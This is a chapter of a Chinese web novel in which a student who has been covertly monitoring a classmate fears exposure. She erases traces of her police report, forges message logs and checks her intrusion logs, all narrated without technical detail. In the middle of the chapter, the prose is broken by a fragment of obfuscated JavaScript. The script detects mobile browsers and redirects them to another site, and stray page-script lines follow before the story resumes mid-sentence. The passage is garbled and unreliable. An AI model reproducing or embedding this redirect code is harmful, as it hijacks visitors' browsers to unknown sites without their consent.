39. 反省与对策

作品:《被和谐的灰姑娘

    电脑屏幕熄灭的瞬间,李明眸瘫坐在椅子上,身体冰冷僵硬,只有思绪在惊恐的余波中疯狂翻涌。


    费同。


    这个名字像一根冰冷的针,重新刺中了她。


    那个小学同学扭曲的异象——布满伤痕的皮肤、畸形的关节——清晰地浮现出来。


    随之而来的,是肚子上仿佛又隐隐作痛的淤青,是费同那充满恐惧和憎恨的攻击。


    “异象就是一个人最不想让人知道的秘密。”


    “是她看到了也绝对不能说出来的、绝对不能去触碰的,别人的痛苦。”


    “廉价的同情心无法帮助任何人,说出来也只会加重对方的痛苦和扭曲。”


    这些被她刻在骨子里的认知,在费同事件后形成的铁律,她竟然……又一次忘记了。


    骆绎声的赤.裸异象,像一张巨大的、充满诱惑的网。她以为自己是去“告知”,是去“帮助”。


    但她不仅说出了那个秘密,还像个偷窥狂一样,持续地、深入地挖掘,误以为能掌控局面。


    她又误入了别人的秘密漩涡。


    她又一次越界了。


    而且这一次,她触碰的秘密,其背后隐藏的深渊,比她想象的更幽暗扭曲。


    沈思过那扭曲的爱欲与控制,骆绎声那隐藏在平静表象下的……令人诧异的反击与操控,这超出了她“廉价的同情心”所能理解的范畴。


    她不仅没能提供帮助,反而推动剧情,让它走向了更危险的境地。


    恐惧的浪潮稍稍退去,一种更深沉的自责和懊恼涌了上来。这次不仅仅是“告知”的问题。


    最初在公交车上,在那个雾气散开的星夜,当她作出告知决定时,她确实是担心着骆绎声的。


    那份担心是真实的,驱动她发出了那封匿名邮件。


    但当那封匿名邮件如石沉大海,当骆绎声表现出诡异的平静,这份“担心”就迅速蜕变成了噬骨的“好奇”。


    为什么他不害怕?


    为什么他不好奇是谁发的邮件?


    他和沈思过到底是什么关系?


    那些被删除的视频里藏着什么?


    这些问题像藤蔓一样缠绕着她,驱使着她像个幽灵一样在他周围徘徊,像个偷窥狂一样日夜盯着监控屏幕。


    当她定时查看实时录像,看着骆绎声在镜头中吃饭、睡觉、练习……


    当她这么做的时候,也许她跟沈思过没有什么不同。


    而这份失控的好奇心,最终结出了恶果——那张该死的海报,那个愚蠢的疏忽,直接导致了昨晚的风暴。


    这是代价。她为自己的越界和好奇心,付出了暴露的风险,更把骆绎声推入了与沈思过的正面冲突中。


    虽然监控中的骆绎声并非她想象中的弱者,但这改变不了她惹出麻烦的事实。


    费同的攻击,赵医生的转介……过往的“代价”直接明确,她习惯了那种伤害和排斥,甚至有种“果然如此”的认命感。


    但骆绎声似乎不同。


    监控画面里那个对着镜头露出艳丽而充满恶意笑容的骆绎声,那个轻易压制沈思过、用言语羞辱和刺伤对方的骆绎声,那个在警察面前从容演戏的骆绎声……这颠覆了她对他的认知。


    骆绎声不是受害者。至少,不是她以为的那种被动承受的受害者。


    他那赤身裸.体的异象,根源恐怕根本不是她以为的监控带来的屈辱感,而是别的东西。


    而她作为一个自以为是的“告密者”和“窥视者”,现在彻底暴露在骆绎声的视野里了:他对着镜头清晰地做出了“李明眸”的口型。


    他知道是她发的邮件,是她报的警,是她像个幽灵一样窥视着他生活的每一寸角落。


    他会怎么做?


    李明眸打了个剧烈的冷颤,寒意从脊椎骨窜上来。


    他会像费同一样用暴力报复?他显然不是费同那种简单粗暴的类型。他那双漂亮眼睛里闪烁的,是更复杂、更危险的光芒。


    是玩弄?是利用?是让她付出更“有趣”的代价?


    她想象着骆绎声可能会采取的措施,被自己的想象吓到。


    她猛地甩甩头,强迫自己转动僵硬而迟钝的大脑。


    现在不是害怕的时候,必须做点什么!


    清理痕迹!保护自己!


    她像溺水者抓住浮木一样,扑向电脑,重新开机。


    先处理报警记录。


    幸好她刚刚拿起手机时,犹豫了一瞬,用的不记名电话报警。


    她迅速在电脑上操作,将那个虚拟号码的关联信息彻底抹除,并伪造了几条看似垃圾短信的记录覆盖上去。


    只要警察不投入巨大资源深挖,应该查不到她头上。


    然后处理电话记录。


    刚刚她给骆绎声和沈思过打了微信电话,两个电话都没接通。


    她深吸一口气,登上电脑微信,找到骆绎声的对话框,飞快地打字:【刚想跟你说《人工智能开发史》的分数,打你电话关机了?】发送。


    又给沈思过发了一条:【沈导,刚打您电话想确认宋教授要的资料清单,好像没接通?资料他收到了吗?】发送。


    理由足够日常和普通,只要对方不深究,就能混过去。


    再处理匿名邮件。


    这个她最有信心。发送服务器经过多次跳转和加密,IP地址是动态虚拟的,附件也做了特殊处理。


    没有人能逆向追踪到她。这是她为数不多做得干净的地方。


    最后处理监控入侵痕迹。


    她仔细检查了入侵沈思过家和后来连接庭院路由器的所有日志记录。反复确认没有留下任何指向她真实IP或设备的有效痕迹。


    宋教授那个“绝密勿动”的项目文件访问记录?她当时是用宋教授电脑的合法权限操作的,而且只查看了代码,没有修改或下载,理论上没问题。


    路由器破解?用的是通用漏洞脚本,没有个性化特征。


    一一确认完毕,李明眸紧绷的神经稍微松弛了一点点。


    技术层面,她似乎……暂时是安全的。


    只要她死不承认邮件是她发的,对监控和报警的事情装作不知情,一口咬定昨晚只是联系学习事宜,那么,骆绎声就没有确凿的证据。


    “一切都在掌握之中。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396252|184279||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >她在心里如此默念,试图给自己一点信心。


    然而,这个念头刚升起,脑海中就无比清晰地浮现出监控画面里,骆绎声对着镜头无声开合的嘴唇——“李-明-眸”。


    一股寒气瞬间冲散了那点可怜的信心。李明眸又微微打了个冷颤。


    应、应该在掌握中吧……?


    处理完这一切后,李明眸浑浑噩噩地关掉电脑,拔掉电源。


    然后像一具游魂一样,在屋子里机械移动。


    直到夜深,钥匙转动门锁的声音响起——姨妈回来了。


    “你怎么了,脸色这么差?”姨妈一进门就吓了一跳,放下包走过来,伸手想探她的额头。


    她猛地一缩,避开了姨妈的手:“没…没事,就是有点累。”


    “真的没事?你灯都没开。”姨妈满脸担忧,仔细打量她,“是我之前让你想的问题……让你压力太大了吗?”


    李明眸反应了好一会,才知道姨妈说的是“思考幸福生活的标准”的问题。


    她的心脏慢慢缩了一下……她最近一直在想骆绎声的事情,把这问题给忘了。


    姨妈看她这个表现,微微叹了口气,没再谈这个问题。


    仿佛是为了转移话题,姨妈絮叨起工作的烦心事,说起海洋研究中心的临时研究员工作,有点抱歉自己最近加班太多,没有留意李明眸的状态。


    李明眸浑浑噩噩地听着,那些关切的话语像隔着一层厚厚的毛玻璃传来,模糊不清。


    她只是木然地点头或者摇头,行尸走肉般应付着姨妈的询问和端来的热牛奶。


    姨妈看她这样,又叹了口气,让她喝完牛奶,就把她打发去睡觉了。


    然后她躺在床上,彻底失眠了。


    不同于发出邮件那晚的亢奋清醒,这次是纯粹的、冰冷的、睁着眼睛的煎熬。


    天花板上的纹路在黑暗中逐渐清晰,窗外偶尔经过的车灯将光斑短暂地投射在墙壁上,又迅速消失。每一次光影变幻都让她心惊肉跳,仿佛那是什么不祥的鬼影。


    她把关机的手机放在离床最远的角落,还用一件衣服盖住,仿佛骆绎声的信息会伴随着辐射而来,将她照到变异。


    她想象着开机后会收到的骆绎声的各种信息,在被窝中微微出了点冷汗,辗转反侧,就这么看着天亮了起来。


    随着窗帘外的晨光越来越亮,她眼睛里的红血丝也越来越多。


    她的眼球干涩刺痛,大脑却异常清醒,清醒地感受着焦虑。


    一个念头突然冒出来:请假吧。就说自己失眠一整晚,身体不适。这样就不用去学校,也不用面对可能出现的骆绎声。


    这个想法让她松了口气,甚至感到一丝虚弱的庆幸。


    但下一秒,她又麻木地想:不行,太可疑了。


    为了假装什么都不知道,什么都没发生,她必须表现得和往日一样。


    她必须去学校。


    这个认知像沉重的枷锁,让她不得不拖着沉重的身体,像受刑一样挣扎着起床、洗漱。


    镜子里的自己脸色灰败,眼下的乌青浓得吓人。她用冷水狠狠扑了脸,试图打起精神,但收效甚微。